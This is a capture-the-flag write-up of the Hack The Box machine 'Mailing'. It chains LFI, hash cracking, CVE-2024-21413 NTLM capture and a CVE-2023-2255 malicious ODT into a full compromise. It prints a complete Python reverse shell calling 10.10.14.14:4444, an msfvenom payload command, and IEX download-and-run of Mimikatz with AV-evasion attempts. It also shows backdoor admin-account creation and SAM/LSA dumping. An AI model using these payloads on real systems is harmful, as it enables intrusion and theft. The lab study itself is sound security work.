Mailing

INTRODUCTION

Mailing was released as the third box of HTB’s Season 5, Anomalies. The box is initially about a mail server (although that ceases to be important after a foothold is achieved).

To gain a foothold, you need to make some major assumptions using a “guess and check” procedure that is not easily automated. The foothold is possible by means of exploiting a CVE for an application that you can’t be sure is even running on the target. Moreover, the exploit requires user interaction, which you can’t be sure is even happening.

Along the way to root, you’re thwarted by an AV that stops you from enumerating the box fully. Lack of viable enumeration techniques leaves you constantly having to make assumptions about how the box might work, then spend a long time verifying those assumptions. Even after researching the target’s vulnerable software, you don’t really have any indication that you’ve found the right vulnerability - once again reverting to this mind-numbing “guess and check” procedure.

In the end, Mailing leaves you wanting to reach a certain goal, but with no realistic way to test the individual steps between you and your goal. Extremely frustrating, would not recommend! 👎

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
465/tcp   open  smtps
587/tcp   open  submission
993/tcp   open  imaps
5040/tcp  open  unknown
5985/tcp  open  wsman
7680/tcp  open  pando-pub
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
63910/tcp open  unknown

I’m seeing SMTP(S), IMAP(S), POP3, etc. Seems like all the usual suspects mail.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://mailing.htb
|_http-server-header: Microsoft-IIS/10.0
110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: TOP USER UIDL
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: IMAP4rev1 CHILDREN CAPABILITY NAMESPACE RIGHTS=texkA0001 completed QUOTA OK ACL SORT IDLE IMAP4
445/tcp   open  microsoft-ds?
465/tcp   open  ssl/smtp      hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
587/tcp   open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
993/tcp   open  ssl/imap      hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
63910/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-05T10:50:52
|_  start_date: N/A
|_clock-skew: 2m15s

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results from the vuln scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

None of the top 100 UDP ports were detected as open.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=mailing.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

whatweb

The target is using IIS for its web server.

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from that. Now I’ll check for subdomains of mailing.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

Still no results. I’ll move on to directory enumeration on http://mailing.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e .php,.asp,.js,.html -timeout 4 -v

Directory enumeration gave the following:

directory enumeration

Exploring the Website

The index page of the website gives some helpful hints. As expected, it’s definitely a mail server. Also, we now know it’s using hMailServer.

There’s a button at the bottom that reminds me I should investigate LFI 🚩

Instrucitons button

The instructions outline how to configure a mail client and connect an account. They are pretty straightforward - Basically just use default settings and autodetect everything. It outlines how to use both Windows Mail and Thunderbird with mailing.htb.

The instructions use a test account user : password; I tried replicating their process, using that test account (in case they left the account enabled), but didn’t have any luck:

following instructions automatic

When clicking “Done” there is a failure to authenticate. Looks like I’ll need to obtain some real credentials.

Vulnerability research

After a little bit of checking to see if there were any vulnerabilities for hMailServer, I didn’t find anything substantial. Definitely nothing current. There might still be a misconfiguration, but I don’t see any CVEs.

The instructions.pdf document showed us that the organization suggests we use either Windows Mail or Thunderbird. Thankfully, a quick google search of “windows mail vulnerability CVE exploit” shows some juicy results… It looks like there is a very new and very critical CVE (CVE-2024-21413, CVSS 9.8 😱 ) that people are calling the MonikerLink Bug. This is definitely worth investigating.

I found this article describing how they were able to exploit this vulnerability to obtain NTLM hashes. Apparently, all I need to do is send an email to the target that contains a maliicous link. The link should force the target to connect back to my attacker box, transmitting its NTLM hash to me. Truly horrifying!

Unfortunately though, without any valid smtp credentials I won’t be able to send such an email.

Checking for LFI

As a first attempt for LFI, I’ll start with a list of files commonly found on Windows. If I want to refine this, I’ll try adding some more, such as files important for hMailServer or IIS. I’m using my tool Alfie to check for files rapidly. Many other fuzzing tools, such as ffuf or wfuzz, would work fine too.

The Windows files start at roughly line 895

FILES_LIST=/home/kali/Box_Notes/Mailing/lfi_files_unique.txt
LFI_LIST=/home/kali/Box_Notes/Mailing/lfi_list.txt
tail -n +895 /usr/share/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt | sort | uniq > $FILES_LIST
echo 'index.php' >> $FILES_LIST; echo 'download.php' >> $FILES_LIST;
echo '../' > $LFI_LIST; echo '..\' >> $LFI_LIST;
python3 alfie.py -f $FILES_LIST -w $LFI_LIST -u 'http://mailing.htb/download.php?file=' -fs 15 -nx --min 0 --max 4 -t 60 --timeout 10

alfie 1

I tried navigating to that URL, and indeed I obtained index.php:

lfi attempt index.php

The contents are only html, but as a proof-of-concept for the LFI, this is a great start:

lfi attempt index 2

FOOTHOLD

hMailServer Configs

OK let’s try refining this a little. It probably makes sense to try to find some of the configuration files for hMailServer too. But what would those be? A little bit of reading documentation revealed that a really important file is C:\Program Files\hMailServer\hMailServer.ini, and a couple others as well. In addition, we don’t know which Program Files it wil be in, :

echo 'C:\Program Files\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\ProgramFiles\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\programfiles\hmailserver\hmailserver.ini' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\program files (x86)\hmailserver\hmailserver.ini' >> $FILES_LIST;
echo 'C:\ProgramFiles(x86)\hMailServer\hMailServer.ini' >> $FILES_LIST;
echo 'C:\programfiles(x86)\hmailserver\hmailserver.ini' >> $FILES_LIST;
echo 'C:\Program Files\hMailServer\Bin\hMailServer.ini' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini' >> $FILES_LIST;
echo 'C:\Program Files\hMailServer\Data\hMailServer.xml' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\Data\hMailServer.xml' >> $FILES_LIST;
echo 'C:\Program Files\hMailServer\Events\hMailServer.EventHandlers.vbs' >> $FILES_LIST;
echo 'C:\Program Files (x86)\hMailServer\Events\hMailServer.EventHandlers.vbs' >> $FILES_LIST;
echo 'C:\WINDOWS\System32\drivers\etc\hosts' >> $FILES_LIST;

I noticed that there were a bunch of filenames ending in spaces, so I’ll remove those; I’ll also append to my files list a copy of the current files, except with the C:\ removed from each file.

sed -i '/ $/d' $FILES_LIST;
grep -E '^C:\\' $FILES_LIST | sed 's/C:\\//g' >> $FILES_LIST;
grep ' ' $FILES_LIST | sed 's/ /+/g' >> $FILES_LIST;
grep ' ' $FILES_LIST | sed 's/ /%20/g' >> $FILES_LIST;

I changed max to 2 because I ran it with 6 and found repetetive results - i.e. just to make the screenshot smaller 😉

python3 alfie.py -f $FILES_LIST -w $LFI_LIST -u 'http://mailing.htb/download.php?file=' -fs 15 -nx --min 0 --max 2 -t 60 --timeout 15

alfie 3

Alright! That’s more like it 😉 Let’s take a look at that hMailServer.ini file and see what’s inside.

hMailServer ini downlaod

The contents are exactly what I was hoping for:

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1

The directory paths are really helpful info, but my eyes immediately went to those two hashes. I put them into a file, hashes.txt:

admin:841bb5acfa6779ae432fd7a4e6600ba7
database:0a9f8ad8bf896b501dde74f08efd7e4c

From the official documentation about hMailServer.ini, we know the purpose of this password:

AdministratorPassword - The main hMailServer administration password. The user for example needs to enter this password when starting hMailServer Administrator. This password is encoded using MD5.

cracked admin password

Excellent! From what I can tell, this password is intended for the PHPWebAdmin interface: homenetworkingadministrator

Finding some usernames

I would love to quickly check this password with winrm, and some other remote login tools, to see if the admin user has re-used credentials… but I’m not actually sure what users are on the target box. Thankfully, there is a hint on the last page of the instructions.pdf document linked from the index page:

username hint

That shows that one of the users is maya@mailing.htb

Aside from that, there are techniques for enumerating mail servers that come in handy for this box. From the Hacktricks IMAP page, we can grab the IMAPS certificate:

openssl s_client -connect $RADDR:993 -quiet

imap cert

Likewise, we can get the SMTPS certificate:

openssl s_client -starttls smtp -crlf -connect mailing.htb:587

smtp cert

These both show that another user is ruy@mailing.htb.

Both of these users are expected, given the “staff” shown on the index page.

Credential Reuse

Now that I have a couple usernames, I’ll try them with crackmapexec to see if I get lucky:

crackmapexec winrm -u 'ruy' -p 'homenetworkingadministrator' $RADDR
crackmapexec winrm -u 'maya' -p 'homenetworkingadministrator' $RADDR
crackmapexec smb -u 'ruy' -p 'homenetworkingadministrator' $RADDR
crackmapexec smb -u 'maya' -p 'homenetworkingadministrator' $RADDR

Unfortunately, none of those worked.

What about logging into the mail server itself?

curl -k "imaps://$RADDR/INBOX?ALL" --user ruy:homenetworkingadministrator
curl -k "imaps://$RADDR/INBOX?ALL" --user maya:homenetworkingadministrator
curl "imap://$RADDR/INBOX?ALL" --user ruy:homenetworkingadministrator
curl "imap://$RADDR/INBOX?ALL" --user maya:homenetworkingadministrator

No, none of those worked either.

Next, I’m going to try Thunderbird itself:

Maya with new password

That login with Maya didn’t work, same with Ruy. But the the hMailServer.ini file referenced the variable “AdministratorPassword” - so maybe there’s an administrator@mailing.htb?

administrator login attempt

Yep, there is… It worked perfectly with no modification to settings. Just use the autodetected defaults.

🎉 I tried sending an email to Ruy and Maya, and it worked! That shows that I’ve authenticated successfully to both IMAP and SMTP. But even more important, I now have a valid credential to try CVE-2024-21413 with.

USER FLAG

CVE-2024-21413

As described in this article, I’m going to try to catch an SMB request to an attacker controlled “SMB resource” (I’ll actually be running Responder)

First, I’ll open up the firewall for the target:

sudo ufw allow from $RADDR to any port 445
sudo responder -I tun0

Then I crafted an email using the filter bypass that the CVE describes:

malicious email attempt 1

That didn’t seem to work. However, when I included the link in a different way, it worked perfectly!

malicious email attempt 3

Shortly after sending that, I saw a bunch of NTLMv2 hashes appear from maya:

maya ntlm hashes

Just to double-check, I tried running it through name-that-hash:

ntlm hash format

I copy-pasted each of those hashes onto separate lines in the file maya_ntlm_hashes.txt and ran hashcat over it:

hashcat -m 5600 maya_ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Within a few seconds, hashcat cracked the hashes!

maya cracked password

Excellent, so we now have a windows credential for maya : m4y4ngs4ri

Now that I have a valid credential, let’s try evil-winrm again:

shell as maya

Perfect! We finally have a shell 😁 The flag is at C:\Usrs\maya\Desktop\user.txt; go type it out for some points!

ROOT FLAG

WinPEAS

Let’s run WinPEAS and see what it finds. First, I’ll need to transfer it over (or run it from memory, but this is easier). For file transfer, I’ll use impacket-smbserver:

sudo ufw allow from $RADDR to any port 53,139,445 proto tcp
cd ~/Tools/WINDOWS
impacket-smbserver -username 'kali' -password 'testtesttest' share .

Then, from the evil-winrm, as maya:

net use x: \\10.10.14.14\share /user:kali testtesttest
# Denied! target refuses to use SMBv1

☝️ Edit: I could have just enabled SMBv2 instead:

impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
net use x: \\10.10.14.14\share /user:kali testtesttest
copy X:\winPEAS.ps1 C:\Users\maya\Downloads\winPEAS.ps1

Hmm, alright. How else can I move WinPEAS over?

where wget #nope
where curl #nope
$url = "http://10.10.14.14:8000/winPEASany_ofs.exe"
(New-Object Net.WebClient).DownloadFile($url, 'C:\Users\maya\Downloads\winpeas.exe')
..\Downloads\winpeas.exe

winpeas from disk fail

Looks like the AV didn’t like that… Maybe I can run it directly from memory to evade the AV?

$url = "http://10.10.14.14:8000/winPEASany_ofs.exe"
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

winpeas from memory fail

Alright. I guess I’ll have to do my privilege escalation enumeration manually!

SMB as maya

Before I go any further with enumeration, it’s probably prudent to check out SMB now that I have a credential. Since SMB is exposed on the network, I’ll log in from my attacker machine:

impacket-smbclient maya:m4y4ngs4ri@mailing.htb

There’s a share inside called Important Documents, but it’s empty.

smb exploration

Also, for some reason we’re actually able to read the IPC$ share. Oddly enough, there’s an exposed LSASS:

exposed lsass IPC

I’m no expert but I think that means that, if I were able to gain an NTLM hash for someone else, I could use Mimikatz to do LSASS injection and impersonate that user. I should keep an eye out for ways to gain another hash!

Local enumeration: maya

I wanted a good reference of steps to consider when going through local enumeration on Windows, so I’ll be recording every step.

systeminfo # access denied
[System.Environment]::OSVersion.Version

os version

net user

enumeration 2

net user maya

enumeration 3

whoami /priv

enumeration 4

I’ll try listing the services running

wmic service list full # Access denied
Get-Service | Where-Object { $_.Status -eq 'Running' } # Access denied
tasklist # Access denied

Thankfully, we can still look for scheduled tasks:

schtasks /query /fo LIST /v

There are three scheduled tasks that stand out (they’re right at the top of the list).

One of them runs mail.vbs at login:

scheduled task mail vbs

Another runs mail.py, also at login:

scheduled task mail py

And finally, one that localadmin executes, running C:\User\localadmin\Documents\scripts\soffice.ps1:

scheduled task powershell localadmin

Unfortunately, I can’t see the contents of C:\User\localadmin\Documents\scripts\soffice.ps1. Otherwise would happily label this as a privesc vector. For now, I’ll keep it in the back of my mind.

Scripts in Documents

There are two scripts in Maya’s Documents:

enumeration 5

These scripts appear to perform the link-clicking that was required to trigger our exploit to gain Maya’s NTLM hash.

These scripts are ran upon login and startup by the scheduled tasks shown in the images in the previous section

This is mail.py:

from pywinauto.application import Application
from pywinauto import Desktop
from pywinauto.keyboard import send_keys
from time import sleep

app = Application(backend="uia").connect(title_re="Inbox*")
dlg = app.top_window()
current_count = 0
remove = 2
while True:
        try:
                unread = dlg.InboxListBox
                items = unread.item_count()
                if items==1:
                        sleep(20)
                        continue
                if items != current_count:
                        for i in range(1,items-current_count-(remove-1)):
                                if "Yesterday" in unread.texts()[i][0]:
                                        remove = 3
                                        continue
                                unread[i].select()
                                message = dlg.child_window(auto_id="RootFocusControl", control_type="Document").Hyperlink.invoke()
                                sleep(45)
                                dlg.type_keys("{ENTER}")
                                unread[i].select()
                        current_count = items - remove
                sleep(20)
        except:
                pass

And here’s mail.vbs:

Set objShell = CreateObject("WScript.Shell")
objShell.Run "explorer shell:AppsFolder\microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"
WScript.Sleep 5000

objShell.AppActivate "Mail"
WScript.Sleep 1000

objShell.SendKeys "{F5}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{TAB}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "{ENTER}"
WScript.Sleep 500
objShell.SendKeys "^d"
WScript.Sleep 500
objShell.SendKeys "%{F4}"

Exploring the filesystem

Now that I have a shell as maya, I can explore the rest of the filesystem. I started, as one does, at the root of the C drive:

C drive

There’s the Important Documents folder that we saw when checking out SMB. Still unclear why it exists…

important documents

It’s empty. Maya has modification perms but not full control. Other than that, there’s wwwroot to check out, but I don’t have read access to it as Maya.

My next stop was Program Files (x86) to check out the hMailServer files:

program files x86

This reminded me that I never checked the database - If I can gain access to that, then I might have a clue about moving forward.

hmailserver files

Checking tree, I noticed that there were some unexpected files in there. Under the Data folder, I found a bunch of automatically named files. I opened one up:

sent mail

That’s one of the emails that I sent as a test!

I went into the Data directory for maya and read all of her emails too:

cd ..\maya
gci -Recurse | Get-Content

What followed was an explosion of emails on my screen, showing everyone’s attempts to use CVE-2024-21413.

It’s shocking how many people inserted an image into their payloads. I wonder why they did that? Upon closer inspection, it’s the same image in all of these… They must have been using some publicly available PoC script.

I took the base64-encoded image from their payloads and popped it into an html file:

someone else exploit

It’s the Microsoft logo! Did you all request permission to use their trademark without permission?! 😱

Back in the hMailServer folder, it’s also worth noting that PHPWebAdmin is not actually in-use. I know because the dist-config.php file is still present, and there is no config.php file, hence the system has not been initialized. Alright, enough fun… let’s keep checking out the filesystem.

The Program Files folder:

Program files

All of those make sense for being there… except LibreOffice 🤔 Why is that there?

At first, I thought “oh, it’s just required for those VBScript files to run”; but actually that’s not true. I noticed back from C:\Users\maya that she has her own dotnet runtimes. So actually, LibreOffice isn’t used at all on this box 👀

I went into the directory to see if there was anything else odd about this LibreOffice installation (maybe it has some weird scripts folder or something?) but it seemed pretty typical. Checking the C:\Program Files\LibreOffice\readmes\readme_en-US.txt file reveals that we’re looking at LibreOffice 7.4.

LibreOffice

I checked my own installation and I’m running LIbreOffice 24.2.3 😐 Does this box have a totally ancient version installed?? I checked the official LibreOffice site to find out - it turns out that they had a big jump in their version numbering (7.6 -> 24.x), but 7.4 is still an old version for sure. For the sake of checking if this is vulnerable to anything, I’ll check the exact semantic version:

Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Where-Object { $_.DisplayName -like "LibreOffice*" } | Select-Object DisplayName, DisplayVersion

libreoffice version

That’s good news for me: the above shows that it’s the very first patch of a minor version (which means there might be unhandled regressions in the code).

LibreOffice is a proper, reputable open source project. As one might expect, they’re very diligent about their security advisories. From this page, we can see what vulnerabilities the target’s LibreOffice installation might have:

Libreoffice security advisories

I looked into each of those CVEs. Here are the NVD entries for them:

  • CVE-2023-6186 (CVSS 8.8) Execute build-in macros without warning
  • CVE-2023-6185 (CVSS 8.8) Execute arbitrary GStreamer plugins
  • CVE-2023-2255 (CVSS 5.3) Craft a document to load external links without warning
  • CVE-2023-0950 (CVSS 7.8) Arbitrary code execution via array underflow
  • CVE-2022-3140 (CVSS 6.3) Execute arbitary scripts but requires user interaction

For each of these CVEs, I googled "CVE-202X-XXXX" privilege escalation PoC" to see if there were any that would be easy to check out. The first two had nothing… then I landed on that third one, which looked quite promising. There were a few PoCs written for it already.

💡 Remember that scheduled task we saw running as localadmin that executes soffice.ps1? It could be a coincidence, but maybe it’s related to LibreOffice?

And if that’s true, maybe it’s doing something with that mysterious Important Documents folder.

I really don’t like how much of this box is just sheer guessing and assumptions. It’s really unpleasant so far 😞

CVE-2023-2255 appears to be able to embed arbitrary shell commands within an LibreOffice document. Then, when that document is opened, the command will run under the same context as LibreOffice. I wonder if it would be possible to just open a reverse shell this way? 🤔 I should test it out first.

Reverse shell feasibility

First, let’s try opening a reverse shell just as maya. Windows Defender has been a real pain on this box, so I bet it will probably stop a reverse shell. Since we know the target has python, and maya can run python, I’ll use a simple Python3 + Cmd reverse shell from revshells.com:

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.14",4444))

p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

Saving that as revshell.py, I’ll transfer it over to the target using SMB:

impacket-smbserver -smb2support -username 'kali' -password 'testtesttest' share .
# Then, in a separate tab:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
rlwrap nc -lvnp 4444
C:\net use x: \\10.10.14.14\share /user:kali testtesttest
cd C:\Users\maya\Downloads
copy X:\revshell.py
python revshell.py

revshell worked

🎉 It worked! Windows Defender did not stop the reverse shell! That means it can be used as a piece of privilege escalation.

CVE-2023-2255

Now that I know that a reverse shell might work for privesc, let’s see if we can make it happen. Operating under the assumption that C\Users\localadmin\Documents\scripts\soffice.ps1 (the scheduled task that localadmin runs) periodically reads files inside Important Documents, we might be able to turn this into privesc by crafting a document containing a malicious macro.

As mentioned earlier, I found some PoC code that claims it can encapsulate a program inside an ODT document by explioiting CVE-2023-2255. The PoC I found uses an exe payload, so I’ll generate one using msfvenom:

👇 I checked the target’s processor architecture first, by running $env::PROCESSOR_ARCHITECTURE.

git clone https://github.com/SaintMichae64/CVE-2023-2255.git
cd CVE-2023-2255
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe -o revshell.exe
python3 exploit.py --output escalate.odt revshell.exe

Note: I still have my nc listener running

impacket-smbclient maya:m4y4ngs4ri@mailing.htb
> use Important Documents
> put escalate.odt

Then I waited… 🤞

… but no reverse shell 😔

Alright, I’ll try it again, but with a different PoC script. This one seems less versatile, but has more stars on Github:

git clone https://github.com/elweth-sec/CVE-2023-2255.git
cd CVE-2023-2255
python3 CVE-2023-2255.py --cmd 'python "C:\Important Documents\revshell.py"' --output 'escalate2.odt'
cp escalate2.odt ../

I’ve made a payload, test.odt that will automatically run the command python "C:\Important Documents\revshell.py when escalate2.odt is opened. So, let’s try placing escalate2.odt and revshell.py in that folder and see what happens:

impacket-smbclient maya:m4y4ngs4ri@mailing.htb
> use Important Documents
> put revshell.py
> put escalate2.odt

Then I waited… 🤞🤞

… and a reverse shell opened!

localadmin reverse shell

Finally, this worked, and I was able to type out the flag and be done with this wretched mess:

type root.txt

EXTRA CREDIT: FULL PWN

Getting Mimikatz

I’m really new to Windows post-exploitation stuff, but I know that a good way to get passwords or hashes from the SAM or LSASS is to use Mimikatz. However, we know that Windows Defender is running on this box and has been blocking all kinds of fun things from happening…

I read that a good way to bypass the AV is to run Mimikatz from memory. The way to do this is like this:

IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.14:8000/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

(The above is from Hacktricks)

As expected, that didn’t work. It failed at the first step, where Defender flagged the script as malicious. I tried renaming it, etc. No success:

blocked IEX

Then I came across an article on BlackHills Infosec discussing how to easily obfuscate Mimikatz to bypass many AVs. I tried it out, and ultimately created another copy of Mimikatz called Invoke-Mimidogz.jpg, complete with many text substitutions within the script itself.

I tried transferring this via SMB, all to no avail:

net use x: \\10.10.14.14\share /user:kali testtesttest
copy X:\Invoke-Mimikatz.ps1 # Initial file, from github
copy X:\Invoke-Mimidogz.ps1 # Renamed only
copy X:\Invoke-Mimidogz-obf.ps1 # With all obfuscation substitutions from the BlackHills article
copy X:\Invoke-Mimidogz.jpg # Same as above, but with a different extension

Each attempt was met with Defender blocking the file transfer:

failed SMB transfer

I’m sure it’s possible to do this, but not with my level of skill 😅

Dump the SAM

No problem, I still have another idea. I know that crackmapexec is able to dump the SAM to obtain hashes.

But why not try this first, before Mimikatz?

Well, this technique requires valid admin credentials, and all I have is an admin reverse shell. So how can we turn this into credentials? The obvious choice is to make Maya an administrator, but this would spoil the box for whomever else is currently attacking it. So I think the trick will be to create a new user instead.

From the localadmin account, we can create a new user with known credentials:

New-LocalUser -Name "jimbob" -Password (ConvertTo-SecureString -AsPlainText "soaringPheasant987" -Force) -FullName "Jimbob Bobjim" -Description "Bobjim the adnim" -AccountNeverExpires

It seems like it worked perfectly:

created new user

It looks like it’s “Administrador”, but I’ll verify what the local administrators group is:

Get-LocalGroup -SID "S-1-5-32-544"

administrators group

Aha! OK. It’s “Administradores

d51528d2-7e1f-425b-93cb-5c483f541616_text

So now let’s put jimbob into the Administradores group:

Add-LocalGroupMember -Group "Administradores" -Member "jimbob"

Or equivalently in cmd:

net localgroup Administradores jimbob /add

Great, that seems like it had the desired effect!

jimbob the admin

We now have an account on the machine with a known credential: jimbob : soaringPheasant987.

Since jimbob is an administrator, I should have full access to SMB. Let’s try that out:

jimbob smb admin

Yep! Works perfectly. Note that we can access the protected ADMIN$ share now.

Since we have admin access to SMB, it should be trivial to dump the SAM using crackmapexec:

crackmapexec smb $RADDR -u 'jimbob' -p 'soaringPheasant987' --sam

dumping the SAM

Aside from passing-the-hash (which we could do with Evil-WinRM), we can also crack these hashes. I didn’t have a very good understanding of this, but found this video from Hackersploit very helpful:

We can crack the NTLM hashes as follows (note that I’m artificially inserting my known password into the wordlist):

cp /usr/share/wordlists/rockyou.txt .
echo "soaringPheasant987" >> ./rockyou.txt
john --wordlist=rockyou.txt SAM_hashes.txt --format=NT -pot=mailing.pot

cracked NTLM hashes

We can also get the LSA secrets in the same way, using crackmapexec in SMB mode:

crackmapexec smb $RADDR -u 'jimbob' -p 'soaringPheasant987' --lsa

CLEANUP

Target

I need to get rid of the reverse shell that I used:

rm C:\Users\maya\Downloads\revshell.py

I also need to remove the extra user I added to the box. I’ll do this from the localadmin reverse shell:

Remove-LocalUser -Name "jimbob"

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm loot/rockyou.txt

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

